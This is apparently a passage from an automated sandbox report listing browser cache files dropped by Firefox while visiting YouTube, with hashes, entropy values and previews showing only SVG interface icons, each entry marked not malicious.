Preview:	....sNaPpY.<..G.y...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><g><path d="M14 12c0 1.1-.9 2-2 2s-2-.9-....9..... ..D 2zM6.36 6.33 4.95..`2C3.13 6.73 2 9.24 2 12s1...5.27 2.*$7.08l1.41-..DC4.9 16.22 4 14.21...2s.9-4..<2.36-5.67zm12.69.5... .?@19.1 7.78 20 9.79...12s...A.-2...A.t.5.20.87 17...2.w.76 ...2s-...-5.27-...-..(zM9.19 9.16.k.7..H5C6.68 8.83 6 10.34...2s.. 3.17 1.77...5.y...C8.46.o.11 8 13...2s.46-2..81.19-2.84zm7.04.6....,15.54 9.89 1.v.....46 .C...9 .C.x.8.7.32 15...z.66 ...9.68-...-..H-4.25z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\25\{9f6fbab0-0d7c-4e1a-9de3-136002a2d519}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	5.284435199988581
Encrypted:	false
SSDEEP:	3:9/lbFoOIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHPPQGZYurgvCo0/:9/cOI9mc4slhohC/vmI4PPQG7rQCz
MD5:	DF74DE9B9890000872199833E120BB06
SHA1:	9514F328171B10D04003469F6DC8A7A4F7DAA741
SHA-256:	3756C1DEE77D8250D1431077670E560F38DD9081EC36FA0B5F7F17AD58AA1F84
SHA-512:	73B313870183D2FA4CA5C38D2192B902C7A79796AF1FDBE5E64D8B2D212D2EF85D0BB57F2BA486FF8610F22A9E952BB15947289107AC0D1D307C00015F4BAED8
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....g..%...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M21 7H3V5h18v2zm0 4H3v2h18v-2zm0 6H3v2h18v-2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\25\{9f6fbab0-0d7c-4e1a-9de3-136002a2d519}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	5.284435199988581
Encrypted:	false
SSDEEP:	3:9/lbFoOIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHPPQGZYurgvCo0/:9/cOI9mc4slhohC/vmI4PPQG7rQCz
MD5:	DF74DE9B9890000872199833E120BB06
SHA1:	9514F328171B10D04003469F6DC8A7A4F7DAA741
SHA-256:	3756C1DEE77D8250D1431077670E560F38DD9081EC36FA0B5F7F17AD58AA1F84
SHA-512:	73B313870183D2FA4CA5C38D2192B902C7A79796AF1FDBE5E64D8B2D212D2EF85D0BB57F2BA486FF8610F22A9E952BB15947289107AC0D1D307C00015F4BAED8
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....g..%...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M21 7H3V5h18v2zm0 4H3v2h18v-2zm0 6H3v2h18v-2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\32\{c0a9108d-4cb7-4046-b0a9-1e02ae619520}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.029031999017899
Encrypted:	false
SSDEEP:	6:9VGi9mc4slhohC/vmI4eTgAV99WTc6XzQuJ3/vh7QrB9TzUuM8XGk+LlvDME:9oynoU/vmRSgQ9Ec6jhJ3XtuM8sL9DME
MD5:	2D5401040D875E10273C9D8CA9FC511E
SHA1:	79BA0A97214692E52090F4D2063DEB4F20ADE88C
SHA-256:	31342B78121940F85212B9B664588235AFFA0CC7FA398E80D5F3914EA12EFE88
SHA-512:	B82CA313BC8E3DAA966316E10C8303D144AEBCE1C00761DF10790B93113B6EAC2EBCA429F099D88750427DFF8DE2A7448FA470E5CC2EB000C7CF71EE73C3EDC6
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.c...B.....Y.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M16.9 6c-.46-2.28-2.48-4-4.9-4S7.56 3.72 7.1 6H4v14c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6h-3.1zM12 3c1.86 0 3.43 1.27 3.87 3H8.13c.44-1.73 2.01-3 3.87-3zm0 11c-3.31 0-6-2.69-6-6h2c0 2.21 1.79 4 4 4s4-1.79 4-4h2c0 3.31-2.69 6-6 6z" fill-rule="evenodd"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\32\{c0a9108d-4cb7-4046-b0a9-1e02ae619520}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.029031999017899
Encrypted:	false
SSDEEP:	6:9VGi9mc4slhohC/vmI4eTgAV99WTc6XzQuJ3/vh7QrB9TzUuM8XGk+LlvDME:9oynoU/vmRSgQ9Ec6jhJ3XtuM8sL9DME
MD5:	2D5401040D875E10273C9D8CA9FC511E
SHA1:	79BA0A97214692E52090F4D2063DEB4F20ADE88C
SHA-256:	31342B78121940F85212B9B664588235AFFA0CC7FA398E80D5F3914EA12EFE88
SHA-512:	B82CA313BC8E3DAA966316E10C8303D144AEBCE1C00761DF10790B93113B6EAC2EBCA429F099D88750427DFF8DE2A7448FA470E5CC2EB000C7CF71EE73C3EDC6
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.c...B.....Y.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M16.9 6c-.46-2.28-2.48-4-4.9-4S7.56 3.72 7.1 6H4v14c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6h-3.1zM12 3c1.86 0 3.43 1.27 3.87 3H8.13c.44-1.73 2.01-3 3.87-3zm0 11c-3.31 0-6-2.69-6-6h2c0 2.21 1.79 4 4 4s4-1.79 4-4h2c0 3.31-2.69 6-6 6z" fill-rule="evenodd"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\34\{ab25d0af-bbfb-4c5e-9551-d22c300b6622}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	423
Entropy (8bit):	5.057971363872774
Encrypted:	false
SSDEEP:	12:9TQ6IjEXX1OC/QcGS2FjyrQZ+IrTTHwn6:9TQ6aAUC/Q1xF2sZ+IrTjw6
MD5:	A57C59C5082DA22125CFC69197546E95
SHA1:	ECBC238D1F440562832601A78BC3FDC052DF1E0B
SHA-256:	AA70E89647F51593908420AA5856E5AE4F663065BF8A12CC4EE1ABA1A0916A9B
SHA-512:	CA88EB897F8EF1FBC65B1E2E426A2E8274A7CF8C225E02E5406C39EF5D1BEDE11A732673162E21379773622207B28C9A45DE83A64AED110CA82218E7097E7CD0
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......'...<svg xmlns="http://www.w3.org/2000/svg"><path d="M16.5 12c0-1.77-1.02-3.29-2.5-4.03v2.21l2.45 2.45c.03-.2.05-.41.05-.63zm2.5 0c0 .94-.2 1.82-.54 2.64l1.51 ..LC20.63 14.91 21 13.5...u2c0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71zM4.27 3L3 4.27 7.73 9H3v6h4l5 5v-6.73l4.25 4.25c-.67.52-1.42.93-2...1.18.e<1.38-.31 2.63-.9.m069-1.81L19.73.......l-9-9L.x 3zM12 4L9..x6.09 12 8.18V4z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\34\{ab25d0af-bbfb-4c5e-9551-d22c300b6622}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	423
Entropy (8bit):	5.057971363872774
Encrypted:	false
SSDEEP:	12:9TQ6IjEXX1OC/QcGS2FjyrQZ+IrTTHwn6:9TQ6aAUC/Q1xF2sZ+IrTjw6
MD5:	A57C59C5082DA22125CFC69197546E95
SHA1:	ECBC238D1F440562832601A78BC3FDC052DF1E0B
SHA-256:	AA70E89647F51593908420AA5856E5AE4F663065BF8A12CC4EE1ABA1A0916A9B
SHA-512:	CA88EB897F8EF1FBC65B1E2E426A2E8274A7CF8C225E02E5406C39EF5D1BEDE11A732673162E21379773622207B28C9A45DE83A64AED110CA82218E7097E7CD0
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......'...<svg xmlns="http://www.w3.org/2000/svg"><path d="M16.5 12c0-1.77-1.02-3.29-2.5-4.03v2.21l2.45 2.45c.03-.2.05-.41.05-.63zm2.5 0c0 .94-.2 1.82-.54 2.64l1.51 ..LC20.63 14.91 21 13.5...u2c0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71zM4.27 3L3 4.27 7.73 9H3v6h4l5 5v-6.73l4.25 4.25c-.67.52-1.42.93-2...1.18.e<1.38-.31 2.63-.9.m069-1.81L19.73.......l-9-9L.x 3zM12 4L9..x6.09 12 8.18V4z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\40\{e41e8d4b-53c8-4644-8b74-e596e64de528}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.660648360936128
Encrypted:	false
SSDEEP:	6:9/L9mc4slhohC/vmI4FCvslQHFdW41/OARxiY:9BnoU/vmRUslQWu/hxiY
MD5:	25BC26013CA16EC022CC26F5370C3769
SHA1:	0B959045667E2AB2EFB992CDFE8ABF8D833FFA83
SHA-256:	8E291FF624D1139DB9423256F8B7637E909580A54B8838C81119B12CC631B84B
SHA-512:	ED775D60DF5DFA9D6FCABEAB00E46D6DDD421F19C8DE2BA3D1A78786CF70DDCD86E3DFCE18519D916078A36A23F64E9DB42149A4E3C26D58FFDD565F3DD9AFDC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY............<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M7.5 12c0 .83-.67 1.5-1.5 1.5s-1.5-.67...1.5.67... .$.3...zm4.5. .c-.83 0...2.s.+. .b.]...+.....^.zm6 0.K..K "/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\40\{e41e8d4b-53c8-4644-8b74-e596e64de528}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.660648360936128
Encrypted:	false
SSDEEP:	6:9/L9mc4slhohC/vmI4FCvslQHFdW41/OARxiY:9BnoU/vmRUslQWu/hxiY
MD5:	25BC26013CA16EC022CC26F5370C3769
SHA1:	0B959045667E2AB2EFB992CDFE8ABF8D833FFA83
SHA-256:	8E291FF624D1139DB9423256F8B7637E909580A54B8838C81119B12CC631B84B
SHA-512:	ED775D60DF5DFA9D6FCABEAB00E46D6DDD421F19C8DE2BA3D1A78786CF70DDCD86E3DFCE18519D916078A36A23F64E9DB42149A4E3C26D58FFDD565F3DD9AFDC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY............<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M7.5 12c0 .83-.67 1.5-1.5 1.5s-1.5-.67...1.5.67... .$.3...zm4.5. .c-.83 0...2.s.+. .b.]...+.....^.zm6 0.K..K "/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\42\{4fc6d17b-f47a-454e-8fe3-56be17b3d12a}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	483
Entropy (8bit):	4.926517300976492
Encrypted:	false
SSDEEP:	12:9fSnoU/vmRhChc2LX7pC52k+NzUPCzW0mpfPBaY:9aoU/vYqVG2kC439x
MD5:	41D7C0EE3EBD3ECF60E8F06238D8976A
SHA1:	313D08E7B04EEFDB0EC87504462F522D7CB94D4D
SHA-256:	7B48B7EA9AF7535DE272491304BA8988DB28C4CDF0D50C800E7D461666E73EFA
SHA-512:	9619B290DD7E07D7A4D9768EE35DD564E37F1B0F4357BD2CB8A39C1289772F275F23F260114FAC395974F544FF70EFC168285A34611F40950EDED0735D2CA6EC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......f...*.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M19.56 12c0-.39-.03-.77-.09-1.14l2.19-2.13-2-3.46-2.92.83c-.6-.48-1.27-.87-2-1.14L14 2h-4l-.74 2.96c-.73.27-1.4.66-2 1.14l-2.92-.83-2 3.46 2.19 2.13c-.06.37-.09.75-.09 1.14s.03.77.09 1.14l-2.19 2.13 2 3.46 2.S@c.6.48 1.27.87 2 .r.L10 22h4l.74-2.96c.73-.27 1.4-.66 2-1.14l2.92.83 ...19-!.8c.06-.37.09-.75...XhzM12 16c-2.21 0-4-1.79-4-4s... 4-4 4 ... ....4-4 4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\42\{4fc6d17b-f47a-454e-8fe3-56be17b3d12a}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	483
Entropy (8bit):	4.926517300976492
Encrypted:	false
SSDEEP:	12:9fSnoU/vmRhChc2LX7pC52k+NzUPCzW0mpfPBaY:9aoU/vYqVG2kC439x
MD5:	41D7C0EE3EBD3ECF60E8F06238D8976A
SHA1:	313D08E7B04EEFDB0EC87504462F522D7CB94D4D
SHA-256:	7B48B7EA9AF7535DE272491304BA8988DB28C4CDF0D50C800E7D461666E73EFA
SHA-512:	9619B290DD7E07D7A4D9768EE35DD564E37F1B0F4357BD2CB8A39C1289772F275F23F260114FAC395974F544FF70EFC168285A34611F40950EDED0735D2CA6EC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......f...*.<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M19.56 12c0-.39-.03-.77-.09-1.14l2.19-2.13-2-3.46-2.92.83c-.6-.48-1.27-.87-2-1.14L14 2h-4l-.74 2.96c-.73.27-1.4.66-2 1.14l-2.92-.83-2 3.46 2.19 2.13c-.06.37-.09.75-.09 1.14s.03.77.09 1.14l-2.19 2.13 2 3.46 2.S@c.6.48 1.27.87 2 .r.L10 22h4l.74-2.96c.73-.27 1.4-.66 2-1.14l2.92.83 ...19-!.8c.06-.37.09-.75...XhzM12 16c-2.21 0-4-1.79-4-4s... 4-4 4 ... ....4-4 4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\43\{8a1aca22-2eaf-436d-a80e-8b0a7a935b2b}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	5.458452307297102
Encrypted:	false
SSDEEP:	3:9vlaZKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT17zo+HMFqRJfnwi/LRFzhRjK9K/:9vI09mc4slhLJ9hCczo4Sq7/lZIi
MD5:	0223FBD15C1CC72EEB23BF66EFD74F87
SHA1:	C1301D6F45A8D1403A434A85FE3F1DB8981591A8
SHA-256:	13EB0B0218B0B06B1143CDBD42826DA127FCA4E063EE17ED3028CEA99C45D260
SHA-512:	450EBA1DC9AAC255FAFB726CDC9F8A94750FC5ED2CB647440A263361F60882034A4256376625D06A335FD18E51BF4665B57A015189DDAD396B890A7608DE7C23
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....'..b...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...V><path d="M22 6v7h-1V7.6l-8.5 7.6-4-4-5.6 5.6-.7-.7 6.4-6.4 4 4L20.2 7H15V6h7z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\43\{8a1aca22-2eaf-436d-a80e-8b0a7a935b2b}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	5.458452307297102
Encrypted:	false
SSDEEP:	3:9vlaZKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT17zo+HMFqRJfnwi/LRFzhRjK9K/:9vI09mc4slhLJ9hCczo4Sq7/lZIi
MD5:	0223FBD15C1CC72EEB23BF66EFD74F87
SHA1:	C1301D6F45A8D1403A434A85FE3F1DB8981591A8
SHA-256:	13EB0B0218B0B06B1143CDBD42826DA127FCA4E063EE17ED3028CEA99C45D260
SHA-512:	450EBA1DC9AAC255FAFB726CDC9F8A94750FC5ED2CB647440A263361F60882034A4256376625D06A335FD18E51BF4665B57A015189DDAD396B890A7608DE7C23
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....'..b...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...V><path d="M22 6v7h-1V7.6l-8.5 7.6-4-4-5.6 5.6-.7-.7 6.4-6.4 4 4L20.2 7H15V6h7z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\43\{a5266b41-782b-496e-baa4-277a24f4b52b}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	5.338223597783475
Encrypted:	false
SSDEEP:	6:9lT9mc4sl5RtOU0p4nEVkK+CJ1JrycDQnVkxK9bnkIvhC:9TvfOADKPn5yBF9XhC
MD5:	982DB069B2CB3F7B12DF524AC058CB75
SHA1:	B3C4CEE2073C9B11AFD4FD4CAFA14506DC7C4C36
SHA-256:	77015506CC1B153AFC0ED88730D3248B4A9616EDD67CB03D7B671C7962DD74B1
SHA-512:	53D24E86229558747D0291EA42632FC1468C7F672B38493232A75BFA5DA6E58312E64905B6291593ADAD411563968EDF9C035CE95C48D60D7A7A0151F0C94692
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY. .........<svg xmlns="http://www.w3.org/2000/svg">. <path fill="#FF0000" d="M6,18h12v1H6V18z M22,6.2v9.6c0,0.66-0.54,1.2-1.2,1.2H3.2C2.54,17,2,16.46,2,15.8V6.2C2,5.54,2.54,5,3.2,5 h17.6C21.46,5,22,5.54,22,6.2z"></path>. <polygon fi....X" points="15,11 10,8.35..d13.65 "></polygon>.</svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\43\{a5266b41-782b-496e-baa4-277a24f4b52b}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	5.338223597783475
Encrypted:	false
SSDEEP:	6:9lT9mc4sl5RtOU0p4nEVkK+CJ1JrycDQnVkxK9bnkIvhC:9TvfOADKPn5yBF9XhC
MD5:	982DB069B2CB3F7B12DF524AC058CB75
SHA1:	B3C4CEE2073C9B11AFD4FD4CAFA14506DC7C4C36
SHA-256:	77015506CC1B153AFC0ED88730D3248B4A9616EDD67CB03D7B671C7962DD74B1
SHA-512:	53D24E86229558747D0291EA42632FC1468C7F672B38493232A75BFA5DA6E58312E64905B6291593ADAD411563968EDF9C035CE95C48D60D7A7A0151F0C94692
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY. .........<svg xmlns="http://www.w3.org/2000/svg">. <path fill="#FF0000" d="M6,18h12v1H6V18z M22,6.2v9.6c0,0.66-0.54,1.2-1.2,1.2H3.2C2.54,17,2,16.46,2,15.8V6.2C2,5.54,2.54,5,3.2,5 h17.6C21.46,5,22,5.54,22,6.2z"></path>. <polygon fi....X" points="15,11 10,8.35..d13.65 "></polygon>.</svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\46\{8511fc9e-e0ff-4c21-a3ae-a431fea5a32e}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	173
Entropy (8bit):	5.322541657197274
Encrypted:	false
SSDEEP:	3:9gYWtFdIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHqJtxTcR+NkzlFWttxci:9xAI9mc4slhohC/vmI4ItxTcM6D0Ci
MD5:	32355676ADF4C64F1FE47B92F9500B6F
SHA1:	CC2A0C3F0DA02C1A1AC32A3A5BA417010F89F73F
SHA-256:	F4B28298D53A353C23A88B0C82002F1036C376D22154ED21630A8C1D04E2A841
SHA-512:	1945DFB8BF90DF999CF7AAED9C881B2D10DF4A3550F2BCEAEF655B2379E79D8128EBEFDCD4F37705C7B42DCABBBC4C25DEC1C1F9559F4E727C6DF45F769A2F95
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....>.3V...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M19 6v15H8V6h11m-4-4H4v16h1V3h10V2zm5 3H7v17h13V5z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\46\{8511fc9e-e0ff-4c21-a3ae-a431fea5a32e}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	173
Entropy (8bit):	5.322541657197274
Encrypted:	false
SSDEEP:	3:9gYWtFdIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHqJtxTcR+NkzlFWttxci:9xAI9mc4slhohC/vmI4ItxTcM6D0Ci
MD5:	32355676ADF4C64F1FE47B92F9500B6F
SHA1:	CC2A0C3F0DA02C1A1AC32A3A5BA417010F89F73F
SHA-256:	F4B28298D53A353C23A88B0C82002F1036C376D22154ED21630A8C1D04E2A841
SHA-512:	1945DFB8BF90DF999CF7AAED9C881B2D10DF4A3550F2BCEAEF655B2379E79D8128EBEFDCD4F37705C7B42DCABBBC4C25DEC1C1F9559F4E727C6DF45F769A2F95
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....>.3V...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M19 6v15H8V6h11m-4-4H4v16h1V3h10V2zm5 3H7v17h13V5z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\49\{99d8060c-2569-489f-b46a-2d4b03141131}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	244
Entropy (8bit):	5.48716645884204
Encrypted:	false
SSDEEP:	6:9bYB9mc4slhLJ9hCcX9VBG93gkIk6wy7Ndc8:90/7N9UAk3gBnV
MD5:	31F682F3D011C942F1C41B7F915EEC10
SHA1:	0163E4CB475138B8F6EF221CF0BB15055F628F4C
SHA-256:	00392C87AB0206705A7F066AB9B2CAD308EB3B2D0B538FA535D053B0C662C48A
SHA-512:	DA32317BDC01471CF7FE107C80D3B69646AAFBDE3BA9EF7D4FC674C56034D78DFC08EF33D8C133CDF198E4CE265625C8411CD85B2CC6D57016AF360129DB733F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......S...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...r><path d="m13.18 4 .24 1.2.16.8H19v7h-5.18l-.24-1.2-.16-.8H6V4h7.18M14 3H5v18h1v-9h6.6l.4 2h7V5h-5.6L14 3z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\49\{99d8060c-2569-489f-b46a-2d4b03141131}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	244
Entropy (8bit):	5.48716645884204
Encrypted:	false
SSDEEP:	6:9bYB9mc4slhLJ9hCcX9VBG93gkIk6wy7Ndc8:90/7N9UAk3gBnV
MD5:	31F682F3D011C942F1C41B7F915EEC10
SHA1:	0163E4CB475138B8F6EF221CF0BB15055F628F4C
SHA-256:	00392C87AB0206705A7F066AB9B2CAD308EB3B2D0B538FA535D053B0C662C48A
SHA-512:	DA32317BDC01471CF7FE107C80D3B69646AAFBDE3BA9EF7D4FC674C56034D78DFC08EF33D8C133CDF198E4CE265625C8411CD85B2CC6D57016AF360129DB733F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......S...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...r><path d="m13.18 4 .24 1.2.16.8H19v7h-5.18l-.24-1.2-.16-.8H6V4h7.18M14 3H5v18h1v-9h6.6l.4 2h7V5h-5.6L14 3z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\49\{e29f411d-1343-4c39-a9d6-389d3b4d4b31}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.55950082884111
Encrypted:	false
SSDEEP:	6:9jDI9mc4slhLJ9hCOBTnM3hq95ZoCULAE5dUUIXCG/hv:9jD47N9UOBjM3eZ+L9dUUIxv
MD5:	1A840973AABA0BC8AA82CD789F229983
SHA1:	DCDAD762A070027ACD4D167C919A8B12EB7CD4F2
SHA-256:	FBEFD71795C1A773B199567DEA99EA28A5BD85ED96ABFFEE7E3F4C1CF6F57C6C
SHA-512:	871508335AB32879D045ED3309D52512EDD03C69E3DA9813DE212B19AB3EF2E4939F7F108262F12BBCFB593CFFF2F1B3774BF4A84076111569FBA0F306DCB773
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.)...:.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..h><path d="m21.24 19.83-5.64..Dc.88-1.17 1.4-2.62..D4.19 0-3.87-3.13-7...s-7 ... ... ..D7c1.57 0 3.02-.52 .>.-1.4l.g. ...1.41..h1zM5 10c0-2.76 2.24-5 5-5s5... ..........4-5-5z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\49\{e29f411d-1343-4c39-a9d6-389d3b4d4b31}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.55950082884111
Encrypted:	false
SSDEEP:	6:9jDI9mc4slhLJ9hCOBTnM3hq95ZoCULAE5dUUIXCG/hv:9jD47N9UOBjM3eZ+L9dUUIxv
MD5:	1A840973AABA0BC8AA82CD789F229983
SHA1:	DCDAD762A070027ACD4D167C919A8B12EB7CD4F2
SHA-256:	FBEFD71795C1A773B199567DEA99EA28A5BD85ED96ABFFEE7E3F4C1CF6F57C6C
SHA-512:	871508335AB32879D045ED3309D52512EDD03C69E3DA9813DE212B19AB3EF2E4939F7F108262F12BBCFB593CFFF2F1B3774BF4A84076111569FBA0F306DCB773
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.)...:.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..h><path d="m21.24 19.83-5.64..Dc.88-1.17 1.4-2.62..D4.19 0-3.87-3.13-7...s-7 ... ... ..D7c1.57 0 3.02-.52 .>.-1.4l.g. ...1.41..h1zM5 10c0-2.76 2.24-5 5-5s5... ..........4-5-5z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\52\{e302bcab-1c8b-4791-a9a6-24bf2c60c934}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.443035465798341
Encrypted:	false
SSDEEP:	3:9HSxJKsqDmJS4RKb5sAR+hHAquqFbV9jXReHFAATcvXjXRHRcBHoNcHVaockv58o:9HkJK9mc4slhohgqWHiA4vmI4VhVgq
MD5:	C39AD8422F2A033A19029E992171863C
SHA1:	D4BC0DB91F8B6A7E562632CDBC47238BF7074311
SHA-256:	D4B92610C82EBB2FA1BEECDEC652DD1B40731CED23E5281A1746739BB9636783
